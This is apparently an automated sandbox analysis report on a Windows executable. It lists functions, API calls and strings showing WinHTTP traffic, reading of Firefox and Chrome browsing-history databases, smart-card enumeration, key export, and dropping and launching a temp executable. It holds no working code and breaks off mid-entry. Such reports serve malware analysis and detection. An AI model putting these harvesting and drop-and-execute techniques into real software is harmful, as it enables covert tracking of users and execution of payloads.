Part of subcall function 00007FF7CBCA25B4: RtlFreeHeap.NTDLL ref: 00007FF7CBCA25CF

WinHttpCrackUrl.WINHTTP ref: 00007FF7CBCA21D8
WinHttpConnect.WINHTTP ref: 00007FF7CBCA2213
WinHttpOpenRequest.WINHTTP ref: 00007FF7CBCA22A8
WinHttpQueryOption.WINHTTP ref: 00007FF7CBCA22E0
WinHttpSetOption.WINHTTP ref: 00007FF7CBCA22FC
WinHttpSendRequest.WINHTTP ref: 00007FF7CBCA231D
WinHttpReceiveResponse.WINHTTP ref: 00007FF7CBCA2330
WinHttpQueryDataAvailable.WINHTTP ref: 00007FF7CBCA2359
WinHttpReadData.WINHTTP ref: 00007FF7CBCA2381
WinHttpCloseHandle.WINHTTP ref: 00007FF7CBCA24C7
WinHttpCloseHandle.WINHTTP ref: 00007FF7CBCA24D0
WinHttpCloseHandle.WINHTTP ref: 00007FF7CBCA24E0

Strings

?r r, xrefs: 00007FF7CBCA2440
<r;r, xrefs: 00007FF7CBCA2241
?r r, xrefs: 00007FF7CBCA2265

Memory Dump Source

Source File: 0000000B.00000002.4582327275.00007FF7CBCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CBCA0000, based on PE: true

Associated: 0000000B.00000002.4582203663.00007FF7CBCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582365915.00007FF7CBCB1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582402290.00007FF7CBCB4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582453683.00007FF7CBCB5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7cbca0000_8CAE.jbxd

Similarity

API ID: Http$CloseHandle$DataHeapOpenOptionQueryRequest$AvailableConnectCrackFreeProcessReadReceiveResponseSend
String ID: <r;r$?r r$?r r
API String ID: 199669925-2032818692
Opcode ID: 7c3200e5b1162a59e3336203ad07deaebe161b4bdf8a21f308cab0b868f4c084
Instruction ID: 2725614a151d2c9a4945bd1756cab02e9933a7a72f36c61e3883cd1193c7a3c6
Opcode Fuzzy Hash: 7c3200e5b1162a59e3336203ad07deaebe161b4bdf8a21f308cab0b868f4c084
Instruction Fuzzy Hash: F0A1E262B193A186EB20EF6AA4441AEB7A1FB85B90F904435FF4D47B68DF3CD404CB10

Function 00007FF7CBCAFB38 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 65stringfileCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32 ref: 00007FF7CBCAFB69
lstrcatW.KERNEL32 ref: 00007FF7CBCAFB76
lstrcpyW.KERNEL32 ref: 00007FF7CBCAFB87
lstrcatW.KERNEL32 ref: 00007FF7CBCAFB9B
FindFirstFileW.KERNEL32 ref: 00007FF7CBCAFBAF
lstrcatW.KERNEL32 ref: 00007FF7CBCAFBCD
lstrcatW.KERNEL32 ref: 00007FF7CBCAFBDE
FindClose.KERNEL32 ref: 00007FF7CBCAFBE7

Part of subcall function 00007FF7CBCAFF3C: lstrlenW.KERNEL32 ref: 00007FF7CBCAFF62
Part of subcall function 00007FF7CBCAFF3C: lstrlenW.KERNEL32 ref: 00007FF7CBCAFF7E
Part of subcall function 00007FF7CBCAFF3C: WideCharToMultiByte.KERNEL32 ref: 00007FF7CBCAFFA7
Part of subcall function 00007FF7CBCAFF3C: PathFileExistsA.SHLWAPI ref: 00007FF7CBCAFFB0
Part of subcall function 00007FF7CBCAFF3C: OpenFile.KERNEL32 ref: 00007FF7CBCAFFC9
Part of subcall function 00007FF7CBCAFF3C: GetFileSize.KERNEL32 ref: 00007FF7CBCAFFE9
Part of subcall function 00007FF7CBCAFF3C: CreateFileMappingA.KERNEL32 ref: 00007FF7CBCB0020
Part of subcall function 00007FF7CBCAFF3C: MapViewOfFile.KERNEL32 ref: 00007FF7CBCB0041
Part of subcall function 00007FF7CBCAFF3C: __memcpy.DELAYIMP ref: 00007FF7CBCB0053
Part of subcall function 00007FF7CBCAFF3C: UnmapViewOfFile.KERNEL32 ref: 00007FF7CBCB005E
Part of subcall function 00007FF7CBCAFF3C: CloseHandle.KERNEL32 ref: 00007FF7CBCB0067
Part of subcall function 00007FF7CBCAFF3C: CloseHandle.KERNEL32 ref: 00007FF7CBCB0070

Part of subcall function 00007FF7CBCAF280: __memcpy.DELAYIMP ref: 00007FF7CBCAF29E

Part of subcall function 00007FF7CBCA25B4: GetProcessHeap.KERNEL32 ref: 00007FF7CBCA25C1
Part of subcall function 00007FF7CBCA25B4: RtlFreeHeap.NTDLL ref: 00007FF7CBCA25CF

Strings

APPDATA, xrefs: 00007FF7CBCAFB62
*.default-release, xrefs: 00007FF7CBCAFB8D
\places.sqlite, xrefs: 00007FF7CBCAFBD3

Memory Dump Source

Source File: 0000000B.00000002.4582327275.00007FF7CBCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CBCA0000, based on PE: true

Associated: 0000000B.00000002.4582203663.00007FF7CBCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582365915.00007FF7CBCB1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582402290.00007FF7CBCB4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582453683.00007FF7CBCB5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7cbca0000_8CAE.jbxd

Similarity

API ID: File$lstrcat$Close$FindHandleHeapView__memcpylstrlen$ByteCharCreateEnvironmentExistsFirstFreeMappingMultiOpenPathProcessSizeUnmapVariableWidelstrcpy
String ID: *.default-release$APPDATA$\places.sqlite
API String ID: 4154822446-3438982840
Opcode ID: d7269cf17e5b33c1795cd74e29e03c46c3fcc247abef41597c81738ae3b3c5ab
Instruction ID: 7eb6d6815c48e2eb840a4e401327f2b9555f07e48b0030d78361369698673b25
Opcode Fuzzy Hash: d7269cf17e5b33c1795cd74e29e03c46c3fcc247abef41597c81738ae3b3c5ab
Instruction Fuzzy Hash: C5317E21A6895795EF20EF28E8401ECB321FB447A4F805531EB5D866B8EF7CD609C760

Function 00007FF7CBCAB428 Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 310COMMON

Download Yara Rule

APIs

SCardGetStatusChangeW.WINSCARD ref: 00007FF7CBCAB53F
SCardListCardsW.WINSCARD ref: 00007FF7CBCAB5E7
SCardFreeMemory.WINSCARD ref: 00007FF7CBCAB67E
SCardListCardsW.WINSCARD ref: 00007FF7CBCAB7A6
SCardFreeMemory.WINSCARD ref: 00007FF7CBCAB83B

Strings

"_": "", xrefs: 00007FF7CBCAB456
%02X, xrefs: 00007FF7CBCAB58B

Memory Dump Source

Source File: 0000000B.00000002.4582327275.00007FF7CBCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CBCA0000, based on PE: true

Associated: 0000000B.00000002.4582203663.00007FF7CBCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582365915.00007FF7CBCB1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582402290.00007FF7CBCB4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582453683.00007FF7CBCB5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7cbca0000_8CAE.jbxd

Similarity

API ID: Card$CardsFreeListMemory$ChangeStatus
String ID: "_": ""$%02X
API String ID: 2879528921-1880646522
Opcode ID: ed3753db07ca822bcdf5eb1dcea464b8db1005cad956ddba30dfc57e14472201
Instruction ID: 6381b21cb0d82621204be191d0b1f6029b86583f9900d7515943ffb6df5854b7
Opcode Fuzzy Hash: ed3753db07ca822bcdf5eb1dcea464b8db1005cad956ddba30dfc57e14472201
Instruction Fuzzy Hash: 5DD18125B4862344EB24FFBAA8911FD93559F427E4BC46831FE1E476B6DE2CE505C320

Function 00007FF7CBCA78EC Relevance: 6.1, APIs: 4, Instructions: 56libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF7CBCA797A
GetProcAddress.KERNEL32 ref: 00007FF7CBCA7986
GetCurrentProcess.KERNEL32 ref: 00007FF7CBCA7995
IsWow64Process.KERNEL32 ref: 00007FF7CBCA79A3

Memory Dump Source

Source File: 0000000B.00000002.4582327275.00007FF7CBCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CBCA0000, based on PE: true

Associated: 0000000B.00000002.4582203663.00007FF7CBCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582365915.00007FF7CBCB1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582402290.00007FF7CBCB4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582453683.00007FF7CBCB5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7cbca0000_8CAE.jbxd

Similarity

API ID: Process$AddressCurrentLibraryLoadProcWow64
String ID:
API String ID: 4035193891-0
Opcode ID: 8f7d0afc07ad77c62296da18ea9598441e0f30d9eecd5f53e8fc3d6832e69a3e
Instruction ID: 2285ad3153c1e8ec3d20ebf9eaceeb206452ac6247ea434b8ca897a8757c1492
Opcode Fuzzy Hash: 8f7d0afc07ad77c62296da18ea9598441e0f30d9eecd5f53e8fc3d6832e69a3e
Instruction Fuzzy Hash: 5821C2629287D186EA206F39A4441BEE790FB597A0F444236EFCD02B56DF2CC1148B10

Function 00007FF7CBCA36F0 Relevance: 3.1, APIs: 2, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptExportKey.ADVAPI32 ref: 00007FF7CBCA3744
CryptExportKey.ADVAPI32 ref: 00007FF7CBCA379E

Part of subcall function 00007FF7CBCA25DC: GetProcessHeap.KERNEL32(?,?,?,00007FF7CBCA1985,?,?,?,00007FF7CBCA155F), ref: 00007FF7CBCA25E5

Memory Dump Source

Source File: 0000000B.00000002.4582327275.00007FF7CBCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CBCA0000, based on PE: true

Associated: 0000000B.00000002.4582203663.00007FF7CBCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582365915.00007FF7CBCB1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582402290.00007FF7CBCB4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582453683.00007FF7CBCB5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7cbca0000_8CAE.jbxd

Similarity

API ID: CryptExport$HeapProcess
String ID:
API String ID: 532797600-0
Opcode ID: 3be456bb978bd55ad68a908853d8a1957bca95cb45049c9de1117908c4c22810
Instruction ID: 4c64412673d5c67ef531edd78247eaaea40d53e08cd506f3da49597a62e7ca26
Opcode Fuzzy Hash: 3be456bb978bd55ad68a908853d8a1957bca95cb45049c9de1117908c4c22810
Instruction Fuzzy Hash: 00218332A1965692EB60EF19F55036AB3A0EBC4BA8F409530FB5D877A4DF3CE5058B10

Function 00007FF7CBCAFF3C Relevance: 18.1, APIs: 12, Instructions: 91filestringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 00007FF7CBCAFF62

Part of subcall function 00007FF7CBCA2588: GetProcessHeap.KERNEL32(?,?,00000000,00007FF7CBCACD4D), ref: 00007FF7CBCA2595

lstrlenW.KERNEL32 ref: 00007FF7CBCAFF7E
WideCharToMultiByte.KERNEL32 ref: 00007FF7CBCAFFA7
PathFileExistsA.SHLWAPI ref: 00007FF7CBCAFFB0
OpenFile.KERNEL32 ref: 00007FF7CBCAFFC9

Part of subcall function 00007FF7CBCA25B4: GetProcessHeap.KERNEL32 ref: 00007FF7CBCA25C1
Part of subcall function 00007FF7CBCA25B4: RtlFreeHeap.NTDLL ref: 00007FF7CBCA25CF

GetFileSize.KERNEL32 ref: 00007FF7CBCAFFE9

Part of subcall function 00007FF7CBCA25DC: GetProcessHeap.KERNEL32(?,?,?,00007FF7CBCA1985,?,?,?,00007FF7CBCA155F), ref: 00007FF7CBCA25E5

CreateFileMappingA.KERNEL32 ref: 00007FF7CBCB0020
MapViewOfFile.KERNEL32 ref: 00007FF7CBCB0041
__memcpy.DELAYIMP ref: 00007FF7CBCB0053
UnmapViewOfFile.KERNEL32 ref: 00007FF7CBCB005E
CloseHandle.KERNEL32 ref: 00007FF7CBCB0067
CloseHandle.KERNEL32 ref: 00007FF7CBCB0070

Memory Dump Source

Source File: 0000000B.00000002.4582327275.00007FF7CBCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CBCA0000, based on PE: true

Associated: 0000000B.00000002.4582203663.00007FF7CBCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582365915.00007FF7CBCB1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582402290.00007FF7CBCB4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582453683.00007FF7CBCB5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7cbca0000_8CAE.jbxd

Similarity

API ID: File$Heap$Process$CloseHandleViewlstrlen$ByteCharCreateExistsFreeMappingMultiOpenPathSizeUnmapWide__memcpy
String ID:
API String ID: 2161876737-0
Opcode ID: 063b78b404f5c96bf7d67d942382568fb73c345fad3f326a6c542ad15abcefa6
Instruction ID: d4c6046b0308ddc5d347696d353386161d7125f346da47c226e1110c37c10c82
Opcode Fuzzy Hash: 063b78b404f5c96bf7d67d942382568fb73c345fad3f326a6c542ad15abcefa6
Instruction Fuzzy Hash: 6731A221A1866282EB34EF2AB85876DB691BB89BF1F844234EE5D077B4DF3CD4058610

Function 00007FF7CBCA1CBC Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 65filetimeCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32 ref: 00007FF7CBCA1CF7
GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7CBCA1D04
wsprintfA.USER32 ref: 00007FF7CBCA1D1C
CreateFileA.KERNEL32 ref: 00007FF7CBCA1D56
WriteFile.KERNEL32 ref: 00007FF7CBCA1D88
CloseHandle.KERNEL32 ref: 00007FF7CBCA1DA9
ShellExecuteA.SHELL32 ref: 00007FF7CBCA1DCE

Strings

open, xrefs: 00007FF7CBCA1DC2
%08X.exe, xrefs: 00007FF7CBCA1D11

Memory Dump Source

Source File: 0000000B.00000002.4582327275.00007FF7CBCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CBCA0000, based on PE: true

Associated: 0000000B.00000002.4582203663.00007FF7CBCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582365915.00007FF7CBCB1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582402290.00007FF7CBCB4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582453683.00007FF7CBCB5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7cbca0000_8CAE.jbxd

Similarity

API ID: File$Time$CloseCreateExecuteHandlePathShellSystemTempWritewsprintf
String ID: %08X.exe$open
API String ID: 2307396689-1771423410
Opcode ID: 8de0e536810cab89fbb532c5864f35491e90b95316bd22bc7e796462d49f8046
Instruction ID: bc22bdc9dacb4c5f79717b01a1c6cf1408bbb2fa178b1a6876831ecace2257cc
Opcode Fuzzy Hash: 8de0e536810cab89fbb532c5864f35491e90b95316bd22bc7e796462d49f8046
Instruction Fuzzy Hash: 7E31A472A58A959AE730DF24E8887EDA361FB88799F804135EB4D07968DF3CC60DC710

Function 00007FF7CBCAF988 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 96stringCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32 ref: 00007FF7CBCAFA5C
lstrcatW.KERNEL32 ref: 00007FF7CBCAFA6C
lstrcatW.KERNEL32 ref: 00007FF7CBCAFA7C
lstrcatW.KERNEL32 ref: 00007FF7CBCAFA90

Part of subcall function 00007FF7CBCAFF3C: lstrlenW.KERNEL32 ref: 00007FF7CBCAFF62
Part of subcall function 00007FF7CBCAFF3C: lstrlenW.KERNEL32 ref: 00007FF7CBCAFF7E
Part of subcall function 00007FF7CBCAFF3C: WideCharToMultiByte.KERNEL32 ref: 00007FF7CBCAFFA7
Part of subcall function 00007FF7CBCAFF3C: PathFileExistsA.SHLWAPI ref: 00007FF7CBCAFFB0
Part of subcall function 00007FF7CBCAFF3C: OpenFile.KERNEL32 ref: 00007FF7CBCAFFC9
Part of subcall function 00007FF7CBCAFF3C: GetFileSize.KERNEL32 ref: 00007FF7CBCAFFE9
Part of subcall function 00007FF7CBCAFF3C: CreateFileMappingA.KERNEL32 ref: 00007FF7CBCB0020
Part of subcall function 00007FF7CBCAFF3C: MapViewOfFile.KERNEL32 ref: 00007FF7CBCB0041
Part of subcall function 00007FF7CBCAFF3C: __memcpy.DELAYIMP ref: 00007FF7CBCB0053
Part of subcall function 00007FF7CBCAFF3C: UnmapViewOfFile.KERNEL32 ref: 00007FF7CBCB005E
Part of subcall function 00007FF7CBCAFF3C: CloseHandle.KERNEL32 ref: 00007FF7CBCB0067
Part of subcall function 00007FF7CBCAFF3C: CloseHandle.KERNEL32 ref: 00007FF7CBCB0070

Part of subcall function 00007FF7CBCAF280: __memcpy.DELAYIMP ref: 00007FF7CBCAF29E

Part of subcall function 00007FF7CBCA25B4: GetProcessHeap.KERNEL32 ref: 00007FF7CBCA25C1
Part of subcall function 00007FF7CBCA25B4: RtlFreeHeap.NTDLL ref: 00007FF7CBCA25CF

lstrlenW.KERNEL32 ref: 00007FF7CBCAFAFF

Strings

LOCALAPPDATA, xrefs: 00007FF7CBCAFA55
Default, xrefs: 00007FF7CBCAF9AA
\History, xrefs: 00007FF7CBCAFA82

Memory Dump Source

Source File: 0000000B.00000002.4582327275.00007FF7CBCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CBCA0000, based on PE: true

Associated: 0000000B.00000002.4582203663.00007FF7CBCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582365915.00007FF7CBCB1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582402290.00007FF7CBCB4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582453683.00007FF7CBCB5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7cbca0000_8CAE.jbxd

Similarity

API ID: File$lstrcatlstrlen$CloseHandleHeapView__memcpy$ByteCharCreateEnvironmentExistsFreeMappingMultiOpenPathProcessSizeUnmapVariableWide
String ID: Default$LOCALAPPDATA$\History
API String ID: 3980575106-3555721359
Opcode ID: a9490f531bca9e2a9df176b31feed2a3c8fdbf660a9032f732405aecd540a554
Instruction ID: b7be00025489ff9f301fc98dad1984381a4233d518af88ffe46c56a5f85ceb46
Opcode Fuzzy Hash: a9490f531bca9e2a9df176b31feed2a3c8fdbf660a9032f732405aecd540a554
Instruction Fuzzy Hash: B2513422E18B9582E750EF28E5011AC7370F798794F459621EF8D53666EF34E6D9C310

Function 00007FF7CBCAFC70 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 89comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00007FF7CBCAFC89
CoCreateInstance.OLE32 ref: 00007FF7CBCAFCAC
CoUninitialize.OLE32 ref: 00007FF7CBCAFDC3

Strings

http, xrefs: 00007FF7CBCAFD6E

Memory Dump Source

Source File: 0000000B.00000002.4582327275.00007FF7CBCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CBCA0000, based on PE: true

Associated: 0000000B.00000002.4582203663.00007FF7CBCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582365915.00007FF7CBCB1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582402290.00007FF7CBCB4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582453683.00007FF7CBCB5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7cbca0000_8CAE.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize
String ID: http
API String ID: 948891078-2541227442
Opcode ID: da779b66130cb05ef608860a343e0f9fb267a85ae6c6f153e63f2b0c7d92370d
Instruction ID: 7f2a95367ed809eb812c62ff10a21b664470dcd6a2692b52cb664b83b223414e
Opcode Fuzzy Hash: da779b66130cb05ef608860a343e0f9fb267a85ae6c6f153e63f2b0c7d92370d
Instruction Fuzzy Hash: 75418332B18A5295EB20AF79E4503ADB7A0FB84B99F404536EB4D8AA78DF3CD544C310

Function 00007FF7CBCA9478 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 81timesynchronizationCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7CBCA94BF
WaitForSingleObject.KERNEL32 ref: 00007FF7CBCA9505
GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7CBCA9517
TerminateProcess.KERNEL32 ref: 00007FF7CBCA953A

Part of subcall function 00007FF7CBCA968C: PeekNamedPipe.KERNELBASE ref: 00007FF7CBCA96B8

GetExitCodeProcess.KERNEL32 ref: 00007FF7CBCA9585
CloseHandle.KERNEL32 ref: 00007FF7CBCA9593

Strings

exit, xrefs: 00007FF7CBCA9482

Memory Dump Source

Source File: 0000000B.00000002.4582327275.00007FF7CBCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CBCA0000, based on PE: true

Associated: 0000000B.00000002.4582203663.00007FF7CBCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582365915.00007FF7CBCB1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582402290.00007FF7CBCB4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582453683.00007FF7CBCB5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7cbca0000_8CAE.jbxd

Similarity

API ID: Time$FileProcessSystem$CloseCodeExitHandleNamedObjectPeekPipeSingleTerminateWait
String ID: exit
API String ID: 1626563136-1626635026
Opcode ID: 157560532fddbdd474931b5b94a5a6403812c246ff955327fdeda3b2fbfc7b7d
Instruction ID: 2e9ef2f64ff315d7e1fbf3e064a0f43b944050b35b94edb632f75db1f3fb1445
Opcode Fuzzy Hash: 157560532fddbdd474931b5b94a5a6403812c246ff955327fdeda3b2fbfc7b7d
Instruction Fuzzy Hash: 9B319322A1851281EBA0FF29D44627DA3A1EF84BA4FD41931FB0E865B9DF6CD845C320

Function 00007FF7CBCA1EEC Relevance: 12.2, APIs: 8, Instructions: 152commemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7CBCA1DE8: RegCreateKeyExA.ADVAPI32 ref: 00007FF7CBCA1E35

CoInitializeEx.OLE32 ref: 00007FF7CBCA1F1E
VariantInit.OLEAUT32 ref: 00007FF7CBCA1F28
CoCreateInstance.OLE32 ref: 00007FF7CBCA1F50
SysAllocString.OLEAUT32 ref: 00007FF7CBCA1F61
SafeArrayCreateVector.OLEAUT32 ref: 00007FF7CBCA1F7D
SafeArrayAccessData.OLEAUT32 ref: 00007FF7CBCA1F93
SafeArrayUnaccessData.OLEAUT32 ref: 00007FF7CBCA1FAC
SysFreeString.OLEAUT32 ref: 00007FF7CBCA2111

Part of subcall function 00007FF7CBCA1CBC: GetTempPathA.KERNEL32 ref: 00007FF7CBCA1CF7
Part of subcall function 00007FF7CBCA1CBC: GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7CBCA1D04
Part of subcall function 00007FF7CBCA1CBC: wsprintfA.USER32 ref: 00007FF7CBCA1D1C
Part of subcall function 00007FF7CBCA1CBC: CreateFileA.KERNEL32 ref: 00007FF7CBCA1D56
Part of subcall function 00007FF7CBCA1CBC: WriteFile.KERNEL32 ref: 00007FF7CBCA1D88
Part of subcall function 00007FF7CBCA1CBC: CloseHandle.KERNEL32 ref: 00007FF7CBCA1DA9
Part of subcall function 00007FF7CBCA1CBC: ShellExecuteA.SHELL32 ref: 00007FF7CBCA1DCE

Memory Dump Source

Source File: 0000000B.00000002.4582327275.00007FF7CBCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CBCA0000, based on PE: true

Associated: 0000000B.00000002.4582203663.00007FF7CBCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582365915.00007FF7CBCB1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582402290.00007FF7CBCB4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582453683.00007FF7CBCB5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7cbca0000_8CAE.jbxd

Similarity

API ID: Create$ArrayFileSafe$DataStringTime$AccessAllocCloseExecuteFreeHandleInitInitializeInstancePathShellSystemTempUnaccessVariantVectorWritewsprintf
String ID:
API String ID: 1750269033-0
Opcode ID: 35f14d03cfaf8c97af958c557d0a79d7db1ea00b24c4592062ca6e010514b8e8
Instruction ID: f24121a38b8713f310a24284731861189f029925216073e93d03df4df7b981ac
Opcode Fuzzy Hash: 35f14d03cfaf8c97af958c557d0a79d7db1ea00b24c4592062ca6e010514b8e8
Instruction Fuzzy Hash: AF614D32B58A1695EB24AF69D4503AC73B0FB48B98F844432EF0D5BB68DF39D509C360

Function 00007FF7CBCAEEDC Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7CBCA25DC: GetProcessHeap.KERNEL32(?,?,?,00007FF7CBCA1985,?,?,?,00007FF7CBCA155F), ref: 00007FF7CBCA25E5

__memcpy.DELAYIMP ref: 00007FF7CBCAEF63

Part of subcall function 00007FF7CBCB0114: __memcpy.DELAYIMP ref: 00007FF7CBCB0145
Part of subcall function 00007FF7CBCB0114: __memcpy.DELAYIMP ref: 00007FF7CBCB0153

Part of subcall function 00007FF7CBCAEB94: lstrlenA.KERNEL32 ref: 00007FF7CBCAEBB1

Part of subcall function 00007FF7CBCA25B4: GetProcessHeap.KERNEL32 ref: 00007FF7CBCA25C1
Part of subcall function 00007FF7CBCA25B4: RtlFreeHeap.NTDLL ref: 00007FF7CBCA25CF

Strings

table, xrefs: 00007FF7CBCAEF0E
moz_places, xrefs: 00007FF7CBCAEF2C
url, xrefs: 00007FF7CBCAEFAC
last_visit_date, xrefs: 00007FF7CBCAEFBF

Memory Dump Source

Source File: 0000000B.00000002.4582327275.00007FF7CBCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CBCA0000, based on PE: true

Associated: 0000000B.00000002.4582203663.00007FF7CBCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582365915.00007FF7CBCB1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582402290.00007FF7CBCB4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582453683.00007FF7CBCB5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7cbca0000_8CAE.jbxd

Similarity

API ID: Heap__memcpy$Process$Freelstrlen
String ID: last_visit_date$moz_places$table$url
API String ID: 2336645791-66087218
Opcode ID: 557a3c6594f34c1c2268f7d356880dc065484ba3f2c21b151f8bf6fb891685af
Instruction ID: 3fe8002c2aa6b48fe906cba093c669dcb85d7c0b10ee194525471793428ac52d
Opcode Fuzzy Hash: 557a3c6594f34c1c2268f7d356880dc065484ba3f2c21b151f8bf6fb891685af
Instruction Fuzzy Hash: 9D31766260865241DE30AF2AA4901AAA750FB85BE0FC04532EF4D977A5EE7CD546C720

Function 00007FF7CBCAF108 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7CBCA25DC: GetProcessHeap.KERNEL32(?,?,?,00007FF7CBCA1985,?,?,?,00007FF7CBCA155F), ref: 00007FF7CBCA25E5

__memcpy.DELAYIMP ref: 00007FF7CBCAF18F

Part of subcall function 00007FF7CBCB0114: __memcpy.DELAYIMP ref: 00007FF7CBCB0145
Part of subcall function 00007FF7CBCB0114: __memcpy.DELAYIMP ref: 00007FF7CBCB0153

Part of subcall function 00007FF7CBCAEB94: lstrlenA.KERNEL32 ref: 00007FF7CBCAEBB1

Part of subcall function 00007FF7CBCA25B4: GetProcessHeap.KERNEL32 ref: 00007FF7CBCA25C1
Part of subcall function 00007FF7CBCA25B4: RtlFreeHeap.NTDLL ref: 00007FF7CBCA25CF

Strings

urls, xrefs: 00007FF7CBCAF158
table, xrefs: 00007FF7CBCAF13A
url, xrefs: 00007FF7CBCAF1D8
last_visit_time, xrefs: 00007FF7CBCAF1EB

Memory Dump Source

